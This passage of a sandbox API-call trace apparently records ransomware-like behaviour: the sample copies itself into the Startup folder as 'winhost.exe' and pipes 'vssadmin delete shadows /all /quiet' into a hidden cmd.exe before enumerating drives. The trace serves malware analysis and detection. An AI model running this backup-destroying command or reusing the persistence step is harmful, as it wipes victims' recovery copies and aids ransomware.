hTemplateFile=0x0) returned 0xe4 [0067.621] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0067.623] ReadFile (in: hFile=0xe4, lpBuffer=0x20d0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x20d0020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0067.641] WriteFile (in: hFile=0xe8, lpBuffer=0x20d0020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x20d0020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0067.661] ReadFile (in: hFile=0xe4, lpBuffer=0x20d0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x20d0020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0067.661] CloseHandle (hObject=0xe8) returned 1 [0067.663] CloseHandle (hObject=0xe4) returned 1 [0067.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e4a38 [0067.663] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e4a38, Size=0x20) returned 0x5e5938 [0067.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e4a38 [0067.663] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e4a38, Size=0x20) returned 0x5e58e8 [0067.663] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0067.664] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0067.664] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0067.664] lstrlenW (lpString="kernel32.dll") returned 12 [0067.664] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e58e8 | out: hHeap=0x5b0000) returned 1 [0067.664] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0067.664] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5938 | out: hHeap=0x5b0000) returned 1 [0067.664] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x20d0020 | out: hHeap=0x5b0000) returned 1 [0067.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eb430 | out: hHeap=0x5b0000) returned 1 [0067.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5fb438 | out: hHeap=0x5b0000) returned 1 [0067.672] lstrlenW (lpString="%windir%\\System32") returned 17 [0067.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e69b0 | out: hHeap=0x5b0000) returned 1 [0067.672] lstrlenW (lpString="%appdata%") returned 9 [0067.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c43a0 | out: hHeap=0x5b0000) returned 1 [0067.672] lstrlenW (lpString="%sh(Startup)%") returned 13 [0067.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c4378 | out: hHeap=0x5b0000) returned 1 [0067.672] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0067.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e69f8 | out: hHeap=0x5b0000) returned 1 [0067.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e4a38 [0067.672] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e4a38, Size=0x20) returned 0x5c4378 [0067.672] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4378, Size=0x40) returned 0x5e69f8 [0067.672] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e69f8, Size=0x80) returned 0x60b458 [0067.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e4a38 [0067.672] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e4a38, Size=0x20) returned 0x5c4378 [0067.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fffc) returned 0x5eb430 [0067.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x60d440 [0067.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x61d448 [0067.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e4a38 [0067.672] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e4a38, Size=0x20) returned 0x5c43a0 [0067.672] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c43a0, Size=0x40) returned 0x5e69f8 [0067.673] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e69f8, Size=0x80) returned 0x60b4e0 [0067.673] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60b4e0, Size=0x100) returned 0x5e7bb8 [0067.673] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0067.673] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e7bb8 | out: hHeap=0x5b0000) returned 1 [0067.673] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x60d440, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0067.673] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x61d448 | out: hHeap=0x5b0000) returned 1 [0067.673] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d440 | out: hHeap=0x5b0000) returned 1 [0067.673] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1 [0067.674] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1 [0067.674] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0067.674] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0067.675] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0xc0, dwThreadId=0x534)) returned 1 [0068.344] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0068.344] WriteFile (in: hFile=0xec, lpBuffer=0x60b458*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x60b458*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0068.344] CloseHandle (hObject=0xfc) returned 1 [0068.344] CloseHandle (hObject=0xf8) returned 1 [0068.344] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eb430 | out: hHeap=0x5b0000) returned 1 [0068.344] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0068.344] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b458 | out: hHeap=0x5b0000) returned 1 [0068.344] lstrlenW (lpString="%comspec%") returned 9 [0068.344] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c4378 | out: hHeap=0x5b0000) returned 1 [0068.344] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8 [0068.345] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5e4a38 [0068.345] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x5e4a38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0068.346] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5c47b0 [0068.346] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x5c47b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0068.347] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e4a50 [0068.347] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e4a50, Size=0x20) returned 0x5c4378 [0068.347] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4378, Size=0x40) returned 0x5e69f8 [0068.347] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0068.347] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5e7c30 [0068.347] GetLogicalDrives () returned 0x4 [0068.347] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10014) returned 0x5eb430 [0068.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e4a50 [0068.348] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e4a50, Size=0x20) returned 0x5c4378 [0068.348] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4378, Size=0x40) returned 0x5e6a88 [0068.348] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e6a88, Size=0x80) returned 0x60b458 [0068.348] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60b458, Size=0x100) returned 0x5e91a0 [0068.348] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e91a0, Size=0x200) returned 0x5e91a0 [0068.348] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e91a0, Size=0x400) returned 0x5e91a0 [0068.348] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e91a0, Size=0x800) returned 0x5e97b8 [0068.348] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e97b8, Size=0x1000) returned 0x5fb450 [0068.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x60d440 [0068.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e4a50 [0068.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5e4b28 [0068.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5c4758 [0068.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5e4b40 [0068.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5c4768 [0068.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e4b58 [0068.348] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4768, Size=0x8) returned 0x5c4768 [0068.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e4b70 [0068.348] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4768, Size=0x10) returned 0x5c4720 [0068.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e4b88 [0068.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e4ba0 [0068.348] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4720, Size=0x20) returned 0x5e7ab8 [0068.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e4bb8 [0068.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5c4768 [0068.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x5e4bd0 [0068.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x5e4be8 [0068.348] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e7ab8, Size=0x40) returned 0x5e52e0 [0068.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x5e4c00 [0068.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x5e4c18 [0068.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x5e4c30 [0068.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x5e4c48 [0068.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e4c60 [0068.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e4c78 [0068.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5e5328 [0068.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e4c90 [0068.349] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e52e0, Size=0x80) returned 0x5e91a0 [0068.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e4ca8 [0068.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e4cc0 [0068.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e4cd8 [0068.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e4cf0 [0068.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e97d0 [0068.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5e97e8 [0068.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9800 [0068.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5c4720 [0068.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9818 [0068.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9830 [0068.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5e9848 [0068.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9860 [0068.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5e9878 [0068.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9890 [0068.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5e98a8 [0068.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e98c0 [0068.350] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e91a0, Size=0x100) returned 0x5e91a0 [0068.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e98d8 [0068.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e98f0 [0068.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9908 [0068.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e9920 [0068.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9938 [0068.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9950 [0068.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5c4730 [0068.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9968 [0068.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9980 [0068.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9998 [0068.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5e7ab8 [0068.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e99b0 [0068.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e99c8 [0068.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5e7ac8 [0068.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e99e0 [0068.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e99f8 [0068.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5e9a10 [0068.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9a28 [0068.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9a40 [0068.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9a58 [0068.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x5e9a70 [0068.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9a88 [0068.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e9aa0 [0068.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9ab8 [0068.351] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9ad0 [0068.351] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9ae8 [0068.351] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9b00 [0068.351] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5e7ad8 [0068.351] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9b18 [0068.351] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9b30 [0068.351] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9b48 [0068.351] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9b60 [0068.351] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e91a0, Size=0x200) returned 0x5e91a0 [0068.351] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9b78 [0068.351] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5e52e0 [0068.351] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9b90 [0068.351] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9bd0 [0068.351] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9be8 [0068.351] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9c00 [0068.351] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9c18 [0068.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9c30 [0068.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9c48 [0068.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9c60 [0068.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9c78 [0068.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5e9c90 [0068.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5e9ca8 [0068.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9cc0 [0068.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9cd8 [0068.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5e9cf0 [0068.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5e9d08 [0068.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9d20 [0068.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5e9d38 [0068.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5e9d50 [0068.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9d68 [0068.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9d80 [0068.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9d98 [0068.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5e52f0 [0068.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9db0 [0068.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9dc8 [0068.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9de0 [0068.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5e9fd0 [0068.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9df8 [0068.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5e9e10 [0068.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9e28 [0068.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9e40 [0068.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9e58 [0068.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9e70 [0068.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9e88 [0068.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9ea0 [0068.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5e9eb8 [0068.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5e9ed0 [0068.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9ee8 [0068.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9f00 [0068.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9f18 [0068.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5e9f30 [0068.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9f48 [0068.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9f60 [0068.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9f78 [0068.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5e9f90 [0068.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc470 [0068.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc488 [0068.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc4a0 [0068.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5e9fe0 [0068.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5e9ff0 [0068.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc4b8 [0068.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc4d0 [0068.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc4e8 [0068.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc500 [0068.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc518 [0068.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fc530 [0068.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc548 [0068.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc560 [0068.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc578 [0068.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc590 [0068.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fc5a8 [0068.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc5c0 [0068.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc5d8 [0068.354] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e91a0, Size=0x400) returned 0x5e91a0 [0068.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc5f0 [0068.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc608 [0068.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fc620 [0068.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc638 [0068.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc650 [0068.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc668 [0068.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fc680 [0068.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc698 [0068.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc6b0 [0068.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc6c8 [0068.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea000 [0068.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc6e0 [0068.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5fc6f8 [0068.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc710 [0068.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5fc728 [0068.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, 